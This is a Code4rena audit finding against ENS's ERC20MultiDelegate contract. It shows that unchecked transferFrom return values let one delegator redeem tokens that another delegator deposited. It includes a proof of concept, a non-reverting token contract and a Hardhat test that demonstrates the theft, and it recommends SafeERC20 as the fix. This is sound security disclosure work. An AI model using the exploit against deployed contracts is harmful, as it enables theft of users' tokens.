Platform: Code4rena
Start Date: 05/10/2023
Pot Size: $33,050 USDC
Total HM: 1
Participants: 54
Period: 6 days
Judge: hansfriese
Id: 294
League: ETH
Rank: 7/54
Findings: 1
Award: $1,774.19
🌟 Selected for report: 0
🚀 Solo Findings: 0
1774.1935 USDC - $1,774.19
https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L148 https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L160 https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L170
Given the expectation that any token adhering to the ERC20
standard can be wrapped with ERC20Votes
and should be
usable with ERC20MultiDelegate
, not check the return value from token transfers will enable theft of delegated tokens
for implementations that choose to use the return value rather than throwing.
Ethereum Improvement Proposal 20
transferFrom Transfers _value amount of tokens from address _from to address _to, and MUST fire the Transfer event. The transferFrom method is used for a withdraw workflow, allowing contracts to transfer tokens on your behalf. This can be used for example to allow a contract to transfer tokens on your behalf and/or to charge fees in sub-currencies. The function SHOULD throw unless the _from account has deliberately authorized the sender of the message via some mechanism. Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event.
There is no requirement stated that an implementation MUST throw in all failure conditions, a valid implementation would be valid if a boolean of false is returned rather than throwing.
ERC20MultiDelegate
will have at most one ERC20ProxyDelegator
for each delegate, created on the first delegation.
All msg.sender
's delegating to that one delegate will all have their tokens (delegation amount) transferred to that
single proxy.
If a ERC20
implementation that returned false of balance check failure was wrapped by the OZ ERC20Votes
, then
the tokens would not be transferred to the proxy, however the ERC20MultiDelegate
would still mint the ERC1155
tokens
for the msg.sender
.
When a msg.sender
holds ERC1155
tokens for a delegate, they can redeem ERC20Votes
tokens when the proxy has them
to transfer.
Given two senders Alice (100 tokens) and Bob (0 tokens) with one delegate Charlie and a underlying ERC20 that returns false
on balance check failure:
ERC20MultiDelegate
creates ERC20ProxyDelegator
for Charlie
ERC20MultiDelegate._balances[charlie][alice]
= 100.ERC20MultiDelegate
checks proxy and it exists
ERC20MultiDelegate._balances[charlie][bob]
= 100ERC20MultiDelegate
checks ERC20ProxyDelegator
for CharlieBob has successfully stolen 100 tokens at the expense of Alice.
3 instances of ERC20Votes.transferFrom
being used without the return value being used, are the only time tokens
are transferred in ERC20MultiDelegate
.
function _reimburse(address source, uint256 amount) internal { // Transfer the remaining source amount or the full source amount // (if no remaining amount) to the delegator address proxyAddressFrom = retrieveProxyContractAddress(token, source); token.transferFrom(proxyAddressFrom, msg.sender, amount); }
function createProxyDelegatorAndTransfer( address target, uint256 amount ) internal { address proxyAddress = deployProxyDelegatorIfNeeded(target); token.transferFrom(msg.sender, proxyAddress, amount); }
function transferBetweenDelegators( address from, address to, uint256 amount ) internal { address proxyAddressFrom = retrieveProxyContractAddress(token, from); address proxyAddressTo = retrieveProxyContractAddress(token, to); token.transferFrom(proxyAddressFrom, proxyAddressTo, amount); }
Exploit scenario example, using a token that does not revert and a new JavaScript test.
NoRevertToken
into ./contract
:// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol"; /** * @dev Overriding ERC20Votes instead using a full IVotes implementation for a quickness / brevity. */ contract NoRevertToken is ERC20Votes { constructor( uint256 initialSupply ) ERC20("No Revert Token", "NRT") ERC20Permit("No Revert Token") { _mint(msg.sender, initialSupply); } function transferFrom(address from, address to, uint amount) public virtual override returns (bool) { address spender = _msgSender(); // Insufficient src balance if (balanceOf(from) < amount) return false; _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } }
describe
and it
into `delegatemulti.js'describe('no revert token', () => { it('can steal tokens from a delegate proxy', async () => { // Deploy the NoRevertToken const NoRevertTokenFactory = await ethers.getContractFactory( 'NoRevertToken' ); const noRevertToken = await NoRevertTokenFactory.deploy(1000) await noRevertToken.deployed() // Deploy ERC20MultiDelegate using the NoRevertToken const ENSMultiDelegate = await ethers.getContractFactory( 'ERC20MultiDelegate' ); const noRevertTokenMultiDelegate = await ENSMultiDelegate.deploy( noRevertToken.address, 'http://localhost:8080/{id}' ); await noRevertTokenMultiDelegate.deployed() // Setup Alice with 100 tokens await noRevertToken.transfer(alice, 100) // Approvals const [_, aliceSigner, bobSigner] = await ethers.getSigners(); await noRevertToken.connect(aliceSigner).approve(noRevertTokenMultiDelegate.address, ethers.constants.MaxUint256) await noRevertToken.connect(bobSigner).approve(noRevertTokenMultiDelegate.address, ethers.constants.MaxUint256) // Initial state, Alice: 100, Bob 0 expect(await noRevertToken.balanceOf(alice)).to.equal(100) expect(await noRevertToken.balanceOf(bob)).to.equal(0) // Alice and Bob both delegate to Charlie await noRevertTokenMultiDelegate.connect(aliceSigner).delegateMulti([],[charlie],[100]) await noRevertTokenMultiDelegate.connect(bobSigner).delegateMulti([],[charlie],[100]) // Charlie Proxy has the 100 tokens, Alice and Bob have nothing expect(await noRevertToken.getVotes(charlie)).to.equal(100) expect(await noRevertToken.balanceOf(alice)).to.equal(0) expect(await noRevertToken.balanceOf(bob)).to.equal(0) // Bob redeems delegation first, then Alice await noRevertTokenMultiDelegate.connect(bobSigner).delegateMulti([charlie],[],[100]) await noRevertTokenMultiDelegate.connect(aliceSigner).delegateMulti([charlie],[],[100]) // Bob has stolen the tokens, at the expense of Alice expect(await noRevertToken.balanceOf(bob)).to.equal(100) expect(await noRevertToken.balanceOf(alice)).to.equal(0) }) })
yarn test test/delegatemulti.js
, which will pass demonstrating Bob stealing 100 tokens.Manual review
Check the success boolean of all transferFrom() calls. Alternatively, use OZ’s SafeERC20’s safeTransferFrom() function.
ERC20
#0 - c4-pre-sort
2023-10-12T07:37:47Z
141345 marked the issue as duplicate of #91
#1 - c4-pre-sort
2023-10-12T07:38:16Z
141345 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-24T17:11:19Z
hansfriese marked the issue as satisfactory
#3 - c4-judge
2023-10-28T06:23:42Z
hansfriese marked the issue as duplicate of #90
#4 - c4-judge
2023-10-28T06:29:42Z
hansfriese marked the issue as not a duplicate
#5 - c4-judge
2023-10-28T06:29:52Z
hansfriese changed the severity to 3 (High Risk)
#6 - c4-judge
2023-10-28T06:30:03Z
hansfriese marked the issue as duplicate of #91
#7 - c4-judge
2023-10-29T10:13:32Z
hansfriese changed the severity to 2 (Med Risk)